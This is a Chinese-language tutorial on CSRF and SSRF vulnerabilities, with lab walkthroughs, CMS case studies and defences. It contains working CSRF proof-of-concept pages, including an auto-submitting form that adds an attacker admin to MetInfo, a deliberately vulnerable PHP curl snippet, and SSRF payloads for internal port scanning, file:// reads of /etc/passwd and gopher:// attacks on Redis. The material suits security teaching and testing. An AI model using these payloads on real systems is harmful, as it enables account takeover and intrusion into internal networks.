前言CSRF 与 SSRF 是 Web 安全领域最经典、最常见、危害极易被低估的两类服务端 / 客户端请求伪造漏洞。二者名字相似、思路相近都围绕 “伪造请求” 展开但攻击位置、利用条件、危害范围完全不同。本文从原理溯源、实战利用、工具辅助、真实 CMS 案例、防御方案五个维度系统梳理 CSRF 与 SSRF 漏洞形成一套可直接用于学习、渗透测试、代码审计的实战指南。一、解密 CSRF漏洞本质与核心定义1.1 CSRF 简介与危害CSRFCross-Site Request Forgery跨站请求伪造也被称为 “一键攻击”“会话劫持式伪造”。它的核心逻辑是攻击者不需要窃取用户 Cookie只需要诱导已登录用户访问恶意页面浏览器就会自动带上目标站点的登录凭证服务器误认为是用户本人操作从而执行敏感行为。典型危害场景修改账号手机号、邮箱、密码发起转账、消费、下单等财产操作发表违规内容、删除文章管理员账号被利用新增管理员、修改权限、写入后门CSRF 危害在于隐蔽性极强用户无感知、无异常提示攻击成功后往往很久才会被发现。1.2 CSRF 核心工作原理CSRF 能够成立依赖三个关键条件浏览器自动携带 Cookie用户登录后浏览器会在同域名下的所有请求自动带上 Session Cookie这是 HTTP 无状态协议的标准机制。服务器仅依赖 Cookie 识别身份后端只校验Cookie中的SessionID不校验请求来源、不校验请求是否由本网站正常页面发起。攻击者能构造合法的业务请求包如修改资料、新增用户、删除数据等接口参数结构简单、可预测。最终效果攻击者借用户的身份、用户的权限、用户的会话干用户不想干的事。二、CSRF 核心应用场景与学习价值典型业务场景用户中心修改个人资料、绑定手机号支付系统转账、充值、提现后台管理添加管理员、修改权限、配置站点社交 / 论坛发帖、删帖、关注、私信学习意义理解会话认证机制的缺陷掌握前端请求来源校验的重要性为渗透测试提供高频漏洞利用思路为开发者提供明确的安全编码规范CSRF 看似简单却是真实环境中遗留率极高的漏洞之一。三、实战 CSRF从原理到落地的实操入门本文以Pikachu 漏洞靶场为例完成从手工构造 POC 到 Burp Suite 自动生成 POC 的完整流程。3.1 Pikachu 靶场环境搭建下载 pikachu 源码放入 phpStudy / XAMPP 网站根目录访问/install.php完成数据库安装进入 CSRF 模块/vul/csrf/csrfget/csrf_get.php默认账号kobe/1234563.2 GET 型 CSRF 手工利用实战步骤 1抓包分析修改资料接口修改资料请求示例plaintexthttp://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexggphonenum1111add11111emailhacktest.comsubmitsubmit步骤 2构造恶意页面新建csrf.htmlhtml预览script location.hrefhttp://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexggphonenum1111add11111emailhacktest.comsubmitsubmit /script或使用隐形请求html预览img srchttp://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexggphonenum1111add11111emailhacktest.comsubmitsubmit width0 height0步骤 3诱导已登录用户访问用户一旦打开该页面资料瞬间被篡改且无任何感知。3.3 Burp Suite 自动生成 CSRF POCBurp 拦截正常修改资料请求右键 →Engagement tools → Generate CSRF PoCBurp 自动生成 HTML 表单 POC保存为 html诱导用户访问即可触发典型自动生成 POC 结构html预览form actionhttp://localhost/.../csrf_get_edit.php methodGET input typehidden namesex value555 input typehidden namephonenum value5555 input typesubmit value提交 /form scriptdocument.forms[0].submit();/script页面加载即自动提交无需用户点击。四、进阶 CSRF自动化工具与真实 CMS 利用4.1 OWASP CSRFTester 工具使用OWASP CSRFTester 是专门用于 CSRF 漏洞测试的代理工具设置浏览器代理为127.0.0.1:8008正常操作业务功能工具自动拦截请求并生成恶意页面支持自动 onload 提交隐蔽性更强4.2 真实案例MetInfo 后台新增管理员 CSRFMetInfo 是一款常用 PHP CMS其后台管理员添加接口曾存在典型 CSRF管理员登录后台拦截新增管理员请求构造自动提交表单诱导管理员访问恶意页面攻击者获得后台管理员权限恶意页面核心结构html预览body onloaddocument.forms[0].submit() form methodPOST actionhttp://xxx/admin/admin/save.php?actionadd input typehidden nameusername valueattacker input typehidden namepassword value123456 input typehidden nameSubmit value保存 /form /body一旦触发可直接接管系统权限。五、CSRF 完整防御方案5.1 开发者核心防御必学CSRF Token 校验最有效每次请求携带随机、一次性、与会话绑定的 Token服务端强校验。SameSite Cookie 配置plaintextSet-Cookie: SessionIdxxx; SameSiteLax/Strict; HttpOnly; Secure从浏览器源头限制跨站携带 Cookie。校验 Referer / Origin判断请求来源是否为本站域名简单有效但可被绕过。双重提交 CookieCookie 中存入 token表单中也带入 token后端比对一致性。敏感操作禁止使用 GET 请求避免通过链接、图片 src 直接触发操作。5.2 运营与管理层面防御关键操作增加二次验证短信、邮箱、验证码安全意识培训不点击陌生链接公共设备登录后务必退出登录态六、剖析 SSRF服务器端请求伪造6.1 SSRF 定义与危害SSRFServer-Side Request Forgery服务器请求伪造漏洞本质攻击者构造恶意 URL让服务器替他发起 HTTP / 文件请求从而访问内网、读取本地文件、探测端口、攻击内网服务。典型危害内网存活主机探测、端口扫描读取本地敏感文件/etc/passwd、C:\Windows\System32\drivers\etc\hosts攻击内网 Redis、MySQL、FastCGI、Elasticsearch 等绕过防火墙访问内部管理系统进一步 getshell、渗透内网6.2 SSRF 常见出现场景凡是 “服务端要去请求外部资源” 的功能都可能存在 SSRF远程图片抓取、头像上传在线预览、URL 内容采集网站收藏、RSS 订阅翻译、SEO 检测、接口代理插件更新、模板安装、资源下载七、SSRF 实战利用从探测到文件读取7.1 简易漏洞环境演示一段典型存在 SSRF 的 PHP 代码php运行?php $url $_POST[url]; $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_exec($ch); curl_close($ch); ?用户可控url且无任何过滤 → 典型 SSRF。7.2 常用利用 payload1内网端口探测plaintexthttp://127.0.0.1:80 http://127.0.0.1:3306 http://127.0.0.1:6379 http://192.168.1.1:80802读取本地文件plaintextfile:///etc/passwd file:///c:/windows/system32/drivers/etc/hosts file:///var/www/html/config.php3协议扩展利用高阶plaintextgopher://127.0.0.1:6379/_Redis命令 dict://127.0.0.1:6379/info7.3 真实 CMS 案例YZMCMS 采集功能 SSRFYZMCMS 采集模块允许用户输入采集 URL服务端请求目标地址后台添加采集任务填入恶意 URLfile:///etc/passwd点击测试采集服务器直接返回本地文件内容此类漏洞在各类 CMS、商城、博客系统中高频出现。八、SSRF 漏洞成因与防御8.1 漏洞根本成因用户可控 URL 传入服务端请求函数curl、file_get_contents、fsockopen无内网 IP 限制无协议限制允许 file、gopher、dict 等无域名白名单错误信息泄露可被用于内网探测8.2 SSRF 防御方案实战级限制请求协议仅允许http/https禁用file、gopher、dict、ftp。禁止内网 IP 访问过滤127.0.0.0/810.0.0.0/8172.16.0.0/12192.168.0.0/16使用域名白名单机制只允许指定域名禁止任意 URL。统一错误信息不返回连接超时、拒绝等敏感信息。使用正规第三方 SDK 而非原生 curl 请求降低被构造协议攻击风险。九、CSRF 与 SSRF 对比总结表格对比项CSRFSSRF攻击位置浏览器端用户视角服务端服务器视角利用核心浏览器自动带 Cookie服务器替攻击者发请求危害范围用户账号操作风险内网渗透、文件读取、横向移动利用条件用户必须已登录无需登录只要接口存在即可防御核心Token、Referer、SameSite协议限制、内网黑名单、域名白名单危害等级中高危高危严重极易打通内网简单一句话总结CSRF 是 “骗用户帮你做事”SSRF 是 “骗服务器帮你探内网”。十、全文总结CSRF 利用浏览器自动 Cookie 机制实现跨站伪造用户操作SSRF 利用服务端请求功能实现内网探测、文件读取、内网攻击二者均属于 “请求伪造”但攻击层面、利用方式、防御思路完全不同实战中 SSRF 危害往往更大是内网渗透的重要入口防御上CSRF 靠 TokenSSRF 靠白名单与协议限制。掌握 CSRF SSRF等于掌握了 Web 安全中最实用的两类 “低成本高回报” 漏洞思路无论是渗透测试还是代码审计都具有极高的学习与实战价值。